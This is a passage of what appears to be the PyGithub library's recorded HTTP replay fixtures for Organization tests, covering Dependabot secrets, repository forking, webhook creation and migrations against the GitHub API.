:"git://github.com/demoorg/demo-repo-2.git","ssh_url":"git@github.com:demoorg/demo-repo-2.git","clone_url":"https://github.com/demoorg/demo-repo-2.git","svn_url":"https://github.com/demoorg/demo-repo-2","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":0,"subscribers_count":0} https GET api.github.com None /orgs/demoorg/dependabot/secrets/public-key {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:05:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4f57ae8fba32f7b438a3b02f56bb750c7bac58f35ae00ae9e366f5a8974888b9"'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4924'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '76'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED0C:18EF96:DEDE0F4:E11FC25:65BC23CA')] {"key_id":"3380217566468950943","key":"HYk6AFuoV0iI+t+geHowOxji1OKAGW6GtngRFeETM14="} https PUT api.github.com None /orgs/demoorg/dependabot/secrets/SECRET_DEP_NAME {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"key_id": "3380217566468950943", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b", "visibility": "selected", "selected_repository_ids": ["744692002", "751491527"]} 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:05:47 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4923'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '77'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'ED0D:3B4C54:45EB070:469E8E3:65BC23CB')] https GET api.github.com None /orgs/demoorg/dependabot/secrets/SECRET_DEP_NAME/repositories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:05:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fb1e023094152db42e0a786bd0caca69105ead37efff1ca109beb50b277b6988"'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4922'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '78'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED0E:19A112:DAF348F:DD351D1:65BC23CB')] {"total_count":2,"repositories":[{"id":744692002,"node_id":"R_kgDOLGMZIg","name":"demo-repo-1","full_name":"demoorg/demo-repo-1","private":false,"owner":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/demoorg/demo-repo-1","description":null,"fork":false,"url":"https://api.github.com/repos/demoorg/demo-repo-1","forks_url":"https://api.github.com/repos/demoorg/demo-repo-1/forks","keys_url":"https://api.github.com/repos/demoorg/demo-repo-1/keys{/key_id}","collaborators_url":"https://api.github.com/repos/demoorg/demo-repo-1/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/demoorg/demo-repo-1/teams","hooks_url":"https://api.github.com/repos/demoorg/demo-repo-1/hooks","issue_events_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues/events{/number}","events_url":"https://api.github.com/repos/demoorg/demo-repo-1/events","assignees_url":"https://api.github.com/repos/demoorg/demo-repo-1/assignees{/user}","branches_url":"https://api.github.com/repos/demoorg/demo-repo-1/branches{/branch}","tags_url":"https://api.github.com/repos/demoorg/demo-repo-1/tags","blobs_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/refs{/sha}","trees_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/trees{/sha}","statuses_url":"https://api.github.com/repos/demoorg/demo-repo-1/statuses/{sha}","languages_url":"https://api.github.com/repos/demoorg/demo-repo-1/languages","stargazers_url":"https://api.github.com/repos/demoorg/demo-repo-1/stargazers","contributors_url":"https://api.github.com/repos/demoorg/demo-repo-1/contributors","subscribers_url":"https://api.github.com/repos/demoorg/demo-repo-1/subscribers","subscription_url":"https://api.github.com/repos/demoorg/demo-repo-1/subscription","commits_url":"https://api.github.com/repos/demoorg/demo-repo-1/commits{/sha}","git_commits_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/commits{/sha}","comments_url":"https://api.github.com/repos/demoorg/demo-repo-1/comments{/number}","issue_comment_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues/comments{/number}","contents_url":"https://api.github.com/repos/demoorg/demo-repo-1/contents/{+path}","compare_url":"https://api.github.com/repos/demoorg/demo-repo-1/compare/{base}...{head}","merges_url":"https://api.github.com/repos/demoorg/demo-repo-1/merges","archive_url":"https://api.github.com/repos/demoorg/demo-repo-1/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/demoorg/demo-repo-1/downloads","issues_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues{/number}","pulls_url":"https://api.github.com/repos/demoorg/demo-repo-1/pulls{/number}","milestones_url":"https://api.github.com/repos/demoorg/demo-repo-1/milestones{/number}","notifications_url":"https://api.github.com/repos/demoorg/demo-repo-1/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/demoorg/demo-repo-1/labels{/name}","releases_url":"https://api.github.com/repos/demoorg/demo-repo-1/releases{/id}","deployments_url":"https://api.github.com/repos/demoorg/demo-repo-1/deployments"},{"id":751491527,"node_id":"R_kgDOLMrZxw","name":"demo-repo-2","full_name":"demoorg/demo-repo-2","private":false,"owner":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/demoorg/demo-repo-2","description":null,"fork":false,"url":"https://api.github.com/repos/demoorg/demo-repo-2","forks_url":"https://api.github.com/repos/demoorg/demo-repo-2/forks","keys_url":"https://api.github.com/repos/demoorg/demo-repo-2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/demoorg/demo-repo-2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/demoorg/demo-repo-2/teams","hooks_url":"https://api.github.com/repos/demoorg/demo-repo-2/hooks","issue_events_url":"https://api.github.com/repos/demoorg/demo-repo-2/issues/events{/number}","events_url":"https://api.github.com/repos/demoorg/demo-repo-2/events","assignees_url":"https://api.github.com/repos/demoorg/demo-repo-2/assignees{/user}","branches_url":"https://api.github.com/repos/demoorg/demo-repo-2/branches{/branch}","tags_url":"https://api.github.com/repos/demoorg/demo-repo-2/tags","blobs_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/refs{/sha}","trees_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/demoorg/demo-repo-2/statuses/{sha}","languages_url":"https://api.github.com/repos/demoorg/demo-repo-2/languages","stargazers_url":"https://api.github.com/repos/demoorg/demo-repo-2/stargazers","contributors_url":"https://api.github.com/repos/demoorg/demo-repo-2/contributors","subscribers_url":"https://api.github.com/repos/demoorg/demo-repo-2/subscribers","subscription_url":"https://api.github.com/repos/demoorg/demo-repo-2/subscription","commits_url":"https://api.github.com/repos/demoorg/demo-repo-2/commits{/sha}","git_commits_url":"https://api.github.com/repos/demoorg/demo-repo-2/git/commits{/sha}","comments_url":"https://api.github.com/repos/demoorg/demo-repo-2/comments{/number}","issue_comment_url":"https://api.github.com/repos/demoorg/demo-repo-2/issues/comments{/number}","contents_url":"https://api.github.com/repos/demoorg/demo-repo-2/contents/{+path}","compare_url":"https://api.github.com/repos/demoorg/demo-repo-2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/demoorg/demo-repo-2/merges","archive_url":"https://api.github.com/repos/demoorg/demo-repo-2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/demoorg/demo-repo-2/downloads","issues_url":"https://api.github.com/repos/demoorg/demo-repo-2/issues{/number}","pulls_url":"https://api.github.com/repos/demoorg/demo-repo-2/pulls{/number}","milestones_url":"https://api.github.com/repos/demoorg/demo-repo-2/milestones{/number}","notifications_url":"https://api.github.com/repos/demoorg/demo-repo-2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/demoorg/demo-repo-2/labels{/name}","releases_url":"https://api.github.com/repos/demoorg/demo-repo-2/releases{/id}","deployments_url":"https://api.github.com/repos/demoorg/demo-repo-2/deployments"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateFork.txt0000644000175100001660000001577714756101563024330 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2adb260b00bbbb05d4db0423e8a284af"'), ('date', 'Sun, 27 May 2012 05:23:16 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":11,"type":"User","hireable":false,"disk_usage":17016,"blog":"http://vincent-jacques.net","bio":"","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","total_private_repos":5,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"owned_private_repos":5,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","collaborators":0,"public_gists":3,"email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","private_gists":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b5c0c85b417ca8a66f4f3f3398e75532"'), ('date', 'Sun, 27 May 2012 05:23:17 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/jacquev6/PyGithub.git","mirror_url":null,"has_downloads":true,"watchers":14,"updated_at":"2012-05-26T20:54:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_pages":false,"has_issues":true,"fork":false,"forks":2,"size":348,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T20:54:13Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"} https POST api.github.com None /repos/jacquev6/PyGithub/forks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"organization": "BeaverSoftware"} 202 [('status', '202 Accepted'), ('x-ratelimit-remaining', '4965'), ('content-length', '3681'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e4abc3ca2f8a9ccbe868ead57057a0e8"'), ('date', 'Sun, 27 May 2012 05:23:18 GMT'), ('content-type', 'application/json; charset=utf-8')] {"parent":{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"updated_at":"2012-05-27T05:23:18Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_pages":false,"has_issues":true,"fork":false,"forks":3,"git_url":"git://github.com/jacquev6/PyGithub.git","size":348,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T20:54:13Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},"organization":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-27T05:23:18Z","source":{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"updated_at":"2012-05-27T05:23:18Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_pages":false,"has_issues":true,"fork":false,"forks":3,"git_url":"git://github.com/jacquev6/PyGithub.git","size":348,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T20:54:13Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},"permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","mirror_url":null,"has_wiki":false,"has_pages":false,"has_issues":false,"fork":true,"forks":0,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","size":348,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-26T20:54:13Z","created_at":"2012-05-27T05:23:17Z","id":4460027,"html_url":"https://github.com/BeaverSoftware/PyGithub","full_name":"BeaverSoftware/PyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateHookWithAllParameters.txt0000644000175100001660000000170414756101563027621 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/hooks {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"active": false, "config": {"url": "http://foobar.com"}, "name": "web", "events": ["fork"]} 200 [('status', '200 Ok'), ('x-ratelimit-remaining', '4997'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c3b371e4de1a0ec350b3fcc0c458e0f9"'), ('date', 'Sat, 19 May 2012 06:01:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/orgs/BeaverSoftware/hooks/257993')] {"updated_at":"2012-05-19T06:01:45Z","last_response":{"status":"unused","message":null,"code":null},"events":["fork"],"url":"https://api.github.com/orgs/BeaverSoftware/hooks/257993","active":true,"name":"web","config":{"url":"http://foobar.com"},"id":257993,"created_at":"2012-05-19T06:01:45Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateHookWithMinimalParameters.txt0000644000175100001660000000164414756101563030502 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/hooks {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"config": {"url": "http://foobar.com"}, "name": "web"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4994'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"276d18854081948260c44cf645c54bd0"'), ('date', 'Sat, 19 May 2012 05:03:14 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/orgs/BeaverSoftware/hooks/257967')] {"updated_at":"2012-05-19T05:03:14Z","url":"https://api.github.com/orgs/BeaverSoftware/hooks/257967","config":{"url":"http://foobar.com"},"last_response":{"status":"unused","message":null,"code":null},"active":true,"events":["push"],"name":"web","created_at":"2012-05-19T05:03:14Z","id":257967} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateMigration.txt0000644000175100001660000002641214756101563025344 0ustar00runnerdockerhttps GET api.github.com None /orgs/sample-test-organisation {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 15:19:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1536855475'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"1b018825113df112cbfdf5096ac86cfd"'), ('Last-Modified', 'Thu, 13 Sep 2018 09:21:05 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.063567'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '1CD7:1FE1:13159D3:27509C2:5B9A8012')] {"login":"sample-test-organisation","id":43235726,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQzMjM1NzI2","url":"https://api.github.com/orgs/sample-test-organisation","repos_url":"https://api.github.com/orgs/sample-test-organisation/repos","events_url":"https://api.github.com/orgs/sample-test-organisation/events","hooks_url":"https://api.github.com/orgs/sample-test-organisation/hooks","issues_url":"https://api.github.com/orgs/sample-test-organisation/issues","members_url":"https://api.github.com/orgs/sample-test-organisation/members{/member}","public_members_url":"https://api.github.com/orgs/sample-test-organisation/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/43235726?v=4","description":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/sample-test-organisation","created_at":"2018-09-13T09:21:05Z","updated_at":"2018-09-13T09:21:05Z","type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":0,"collaborators":0,"billing_email":"tfv60722@nbzmr.com","plan":{"name":"free","space":976562499,"private_repos":0,"filled_seats":1,"seats":0},"default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":false} https POST api.github.com None /orgs/sample-test-organisation/migrations {'Content-Type': 'application/json', 'Accept': 'application/vnd.github.wyandotte-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"repositories": ["sample-repo"]} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 15:19:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '7250'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1536855475'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"81072c1f2dc51776a047a3b1816a467d"'), ('Location', 'https://api.github.com/orgs/sample-test-organisation/migrations/25312'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.174479'), ('X-GitHub-Request-Id', 'BF95:1FE1:1315A51:2750AC3:5B9A8014')] 